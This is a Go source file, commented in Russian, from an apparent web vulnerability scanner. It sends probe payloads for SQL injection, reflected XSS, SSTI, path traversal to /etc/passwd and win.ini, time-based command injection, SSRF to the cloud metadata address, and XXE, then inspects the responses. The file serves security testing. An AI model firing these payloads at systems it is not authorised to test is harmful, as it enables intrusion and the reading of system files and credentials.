335 lines
11 KiB
Go
335 lines
11 KiB
Go
package scanner
|
||
|
||
import (
|
||
"fmt"
|
||
"strings"
|
||
"time"
|
||
)
|
||
|
||
// timeBasedThreshold — насколько дольше baseline должен быть ответ,
|
||
// чтобы засчитать time-based индикатор (для SQLi sleep/waitfor и для
|
||
// RCE-инъекций). Пороговое значение осознанно консервативное: медленная
|
||
// сеть/сервер сами по себе могут дать пару секунд разброса, а payload'ы
|
||
// ниже спят по 5 секунд — трёхсекундный порог оставляет запас.
|
||
const timeBasedThreshold = 3 * time.Second
|
||
|
||
// ---------------------------------------------------------------------
|
||
// SQLi
|
||
|
||
type sqliCheck struct{}
|
||
|
||
func newSQLiCheck() *sqliCheck { return &sqliCheck{} }
|
||
|
||
func (c *sqliCheck) Name() string { return "SQLi" }
|
||
|
||
func (c *sqliCheck) Probes() []string {
|
||
return []string{
|
||
`'`,
|
||
`''`,
|
||
`' OR '1'='1`,
|
||
`' OR SLEEP(5)-- -`,
|
||
`1 OR SLEEP(5)`,
|
||
`'; WAITFOR DELAY '0:0:5'--`,
|
||
`' AND 1=CONVERT(int,(SELECT @@version))--`,
|
||
}
|
||
}
|
||
|
||
func (c *sqliCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
|
||
if resp.Err != nil {
|
||
return nil
|
||
}
|
||
|
||
lower := strings.ToLower(resp.Body)
|
||
for _, sig := range sqlErrorSignatures {
|
||
if strings.Contains(lower, sig) {
|
||
return &Finding{
|
||
Check: c.Name(), Severity: SeverityHigh,
|
||
Detail: "В теле ответа обнаружена сигнатура SQL-ошибки — вероятна SQL-инъекция",
|
||
Payload: probe, Evidence: sig,
|
||
}
|
||
}
|
||
}
|
||
|
||
probeLower := strings.ToLower(probe)
|
||
if (strings.Contains(probeLower, "sleep") || strings.Contains(probeLower, "waitfor")) &&
|
||
resp.Duration > baseline.Duration+timeBasedThreshold {
|
||
return &Finding{
|
||
Check: c.Name(), Severity: SeverityHigh,
|
||
Detail: fmt.Sprintf("Time-based индикатор: ответ на %.1fs дольше baseline (payload содержит sleep/waitfor)",
|
||
(resp.Duration - baseline.Duration).Seconds()),
|
||
Payload: probe,
|
||
}
|
||
}
|
||
return nil
|
||
}
|
||
|
||
var sqlErrorSignatures = []string{
|
||
"sql syntax", "you have an error in your sql syntax", "mysql_fetch",
|
||
"unclosed quotation mark", "quoted string not properly terminated",
|
||
"pg_query", "postgresql", "sqlite3.operationalerror",
|
||
"ora-01756", "ora-00933", "ora-00921",
|
||
"microsoft ole db provider for sql server", "sqlstate", "syntax error at or near",
|
||
}
|
||
|
||
// ---------------------------------------------------------------------
|
||
// XSS (reflected)
|
||
|
||
type xssCheck struct{ canary string }
|
||
|
||
func newXSSCheck() *xssCheck {
|
||
return &xssCheck{canary: "wr" + randToken(4)}
|
||
}
|
||
|
||
func (c *xssCheck) Name() string { return "XSS (reflected)" }
|
||
|
||
func (c *xssCheck) Probes() []string {
|
||
tag := c.canary
|
||
return []string{
|
||
fmt.Sprintf(`<%s>alert(1)</%s>`, tag, tag),
|
||
fmt.Sprintf(`"><%s>alert(1)</%s>`, tag, tag),
|
||
fmt.Sprintf(`'><img src=x onerror=%s(1)>`, tag),
|
||
fmt.Sprintf(`javascript:%s(1)`, tag),
|
||
}
|
||
}
|
||
|
||
func (c *xssCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
|
||
if resp.Err != nil {
|
||
return nil
|
||
}
|
||
// Ищем канарейку в СЫРОМ виде (с угловыми скобками/как есть) — если
|
||
// сервер её экранировал (<wrXXXX>), это не отражение, а
|
||
// корректное поведение, и мы не должны его засчитывать как находку.
|
||
if strings.Contains(resp.Body, "<"+c.canary) || strings.Contains(resp.Body, c.canary+"(1)") {
|
||
return &Finding{
|
||
Check: c.Name(), Severity: SeverityHigh,
|
||
Detail: "Payload отражён в ответе без HTML-экранирования",
|
||
Payload: probe, Evidence: c.canary,
|
||
}
|
||
}
|
||
return nil
|
||
}
|
||
|
||
// ---------------------------------------------------------------------
|
||
// SSTI
|
||
|
||
type sstiCheck struct{}
|
||
|
||
func newSSTICheck() *sstiCheck { return &sstiCheck{} }
|
||
|
||
func (c *sstiCheck) Name() string { return "SSTI" }
|
||
|
||
// Множители подобраны так, чтобы их произведение (59975189) было
|
||
// достаточно длинным и не встречалось в обычном ответе случайно —
|
||
// в отличие от классического {{7*7}}, где "49" легко спутать с частью
|
||
// другого числа на странице.
|
||
func (c *sstiCheck) Probes() []string {
|
||
return []string{
|
||
`{{7349*8161}}`, // Jinja2, Twig, Nunjucks
|
||
`${7349*8161}`, // FreeMarker, JSP EL, Thymeleaf
|
||
`#{7349*8161}`, // Ruby ERB / некоторые Java EL
|
||
`<%= 7349*8161 %>`, // ERB explicit
|
||
`${{7349*8161}}`, // встречается как обход некоторых фильтров
|
||
}
|
||
}
|
||
|
||
func (c *sstiCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
|
||
if resp.Err != nil {
|
||
return nil
|
||
}
|
||
if strings.Contains(resp.Body, "59975189") {
|
||
return &Finding{
|
||
Check: c.Name(), Severity: SeverityHigh,
|
||
Detail: "Выражение вычислено сервером — шаблонизатор исполняет входные данные",
|
||
Payload: probe, Evidence: "59975189",
|
||
}
|
||
}
|
||
return nil
|
||
}
|
||
|
||
// ---------------------------------------------------------------------
|
||
// LFI
|
||
|
||
type lfiCheck struct{}
|
||
|
||
func newLFICheck() *lfiCheck { return &lfiCheck{} }
|
||
|
||
func (c *lfiCheck) Name() string { return "LFI" }
|
||
|
||
func (c *lfiCheck) Probes() []string {
|
||
return []string{
|
||
`../../../../etc/passwd`,
|
||
`../../../../../../../../etc/passwd`,
|
||
`....//....//....//etc/passwd`,
|
||
`..%2f..%2f..%2fetc%2fpasswd`,
|
||
`/etc/passwd`,
|
||
`..\..\..\windows\win.ini`,
|
||
`....\\....\\windows\\win.ini`,
|
||
}
|
||
}
|
||
|
||
func (c *lfiCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
|
||
if resp.Err != nil {
|
||
return nil
|
||
}
|
||
switch {
|
||
case strings.Contains(resp.Body, "root:x:0:0:") || strings.Contains(resp.Body, "root:*:0:0:"):
|
||
return &Finding{
|
||
Check: c.Name(), Severity: SeverityHigh,
|
||
Detail: "В ответе обнаружено содержимое /etc/passwd", Payload: probe, Evidence: "root:",
|
||
}
|
||
case strings.Contains(resp.Body, "[boot loader]") || strings.Contains(strings.ToLower(resp.Body), "for 16-bit app support"):
|
||
return &Finding{
|
||
Check: c.Name(), Severity: SeverityHigh,
|
||
Detail: "В ответе обнаружено содержимое win.ini", Payload: probe, Evidence: "[boot loader]",
|
||
}
|
||
}
|
||
return nil
|
||
}
|
||
|
||
// ---------------------------------------------------------------------
|
||
// RCE (командная инъекция, time-based)
|
||
|
||
type rceCheck struct{}
|
||
|
||
func newRCECheck() *rceCheck { return &rceCheck{} }
|
||
|
||
func (c *rceCheck) Name() string { return "RCE (command injection)" }
|
||
|
||
func (c *rceCheck) Probes() []string {
|
||
return []string{
|
||
`; sleep 5`,
|
||
`| sleep 5`,
|
||
"`sleep 5`",
|
||
`$(sleep 5)`,
|
||
`|| sleep 5`,
|
||
`& ping -n 6 127.0.0.1 &`,
|
||
}
|
||
}
|
||
|
||
func (c *rceCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
|
||
if resp.Err != nil {
|
||
return nil
|
||
}
|
||
if resp.Duration > baseline.Duration+timeBasedThreshold {
|
||
return &Finding{
|
||
Check: c.Name(), Severity: SeverityHigh,
|
||
Detail: fmt.Sprintf("Time-based индикатор: ответ на %.1fs дольше baseline",
|
||
(resp.Duration - baseline.Duration).Seconds()),
|
||
Payload: probe,
|
||
}
|
||
}
|
||
return nil
|
||
}
|
||
|
||
// ---------------------------------------------------------------------
|
||
// SSRF (best-effort — см. оговорку в doc пакета)
|
||
|
||
type ssrfCheck struct{}
|
||
|
||
func newSSRFCheck() *ssrfCheck { return &ssrfCheck{} }
|
||
|
||
func (c *ssrfCheck) Name() string { return "SSRF" }
|
||
|
||
func (c *ssrfCheck) Probes() []string {
|
||
return []string{
|
||
`http://169.254.169.254/latest/meta-data/`,
|
||
`http://localhost/`,
|
||
`http://127.0.0.1/`,
|
||
`http://[::1]/`,
|
||
`file:///etc/passwd`,
|
||
}
|
||
}
|
||
|
||
func (c *ssrfCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
|
||
if resp.Err != nil {
|
||
return nil
|
||
}
|
||
lower := strings.ToLower(resp.Body)
|
||
|
||
if strings.Contains(probe, "169.254.169.254") &&
|
||
(strings.Contains(lower, "ami-id") || strings.Contains(lower, "instance-id") || strings.Contains(lower, "iam/security-credentials")) {
|
||
return &Finding{
|
||
Check: c.Name(), Severity: SeverityHigh,
|
||
Detail: "В ответе признаки метаданных облака (AWS IMDS) — сервер выполнил запрос по нашему адресу",
|
||
Payload: probe,
|
||
}
|
||
}
|
||
if strings.Contains(probe, "file://") && strings.Contains(resp.Body, "root:x:0:0:") {
|
||
return &Finding{
|
||
Check: c.Name(), Severity: SeverityHigh,
|
||
Detail: "Схема file:// — сервер прочитал локальный файл вместо обращения по сети",
|
||
Payload: probe, Evidence: "root:",
|
||
}
|
||
}
|
||
return nil
|
||
}
|
||
|
||
// ---------------------------------------------------------------------
|
||
// XXE
|
||
|
||
type xxeCheck struct{}
|
||
|
||
func newXXECheck() *xxeCheck { return &xxeCheck{} }
|
||
|
||
func (c *xxeCheck) Name() string { return "XXE" }
|
||
|
||
// Probes подставляют payload как ЦЕЛОЕ тело XML-документа — то есть
|
||
// имеет смысл только если §маркером§ размечено всё тело запроса
|
||
// целиком, а не отдельное значение внутри уже готового XML. Это
|
||
// осознанное ограничение модели с одной точкой вставки: реальный XXE
|
||
// почти всегда требует контроля над DOCTYPE в начале документа.
|
||
func (c *xxeCheck) Probes() []string {
|
||
return []string{
|
||
`<?xml version="1.0"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>`,
|
||
`<?xml version="1.0"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><data>&xxe;</data>`,
|
||
}
|
||
}
|
||
|
||
func (c *xxeCheck) Analyze(probe string, resp, baseline ProbeResult) *Finding {
|
||
if resp.Err != nil {
|
||
return nil
|
||
}
|
||
switch {
|
||
case strings.Contains(resp.Body, "root:x:0:0:"):
|
||
return &Finding{
|
||
Check: c.Name(), Severity: SeverityHigh,
|
||
Detail: "Внешняя сущность разыменована — в ответе содержимое /etc/passwd",
|
||
Payload: probe, Evidence: "root:",
|
||
}
|
||
case strings.Contains(resp.Body, "[boot loader]"):
|
||
return &Finding{
|
||
Check: c.Name(), Severity: SeverityHigh,
|
||
Detail: "Внешняя сущность разыменована — в ответе содержимое win.ini",
|
||
Payload: probe, Evidence: "[boot loader]",
|
||
}
|
||
}
|
||
return nil
|
||
}
|
||
|
||
// activeChecks — реестр всех активных проверок. Каждый вызов создаёт
|
||
// новые экземпляры (важно для xssCheck/sstiCheck — у них своя
|
||
// канарейка/константы на запуск сканирования, не разделяемая между
|
||
// прогонами).
|
||
func activeChecks() []Check {
|
||
return []Check{
|
||
newSQLiCheck(),
|
||
newXSSCheck(),
|
||
newSSTICheck(),
|
||
newLFICheck(),
|
||
newRCECheck(),
|
||
newSSRFCheck(),
|
||
newXXECheck(),
|
||
}
|
||
}
|
||
|
||
// AllCheckNames возвращает имена всех доступных активных проверок —
|
||
// используется в TUI для построения списка с чекбоксами ("не гонять
|
||
// всё подряд, если нужен только XSS").
|
||
func AllCheckNames() []string {
|
||
checks := activeChecks()
|
||
names := make([]string, len(checks))
|
||
for i, c := range checks {
|
||
names[i] = c.Name()
|
||
}
|
||
return names
|
||
}
|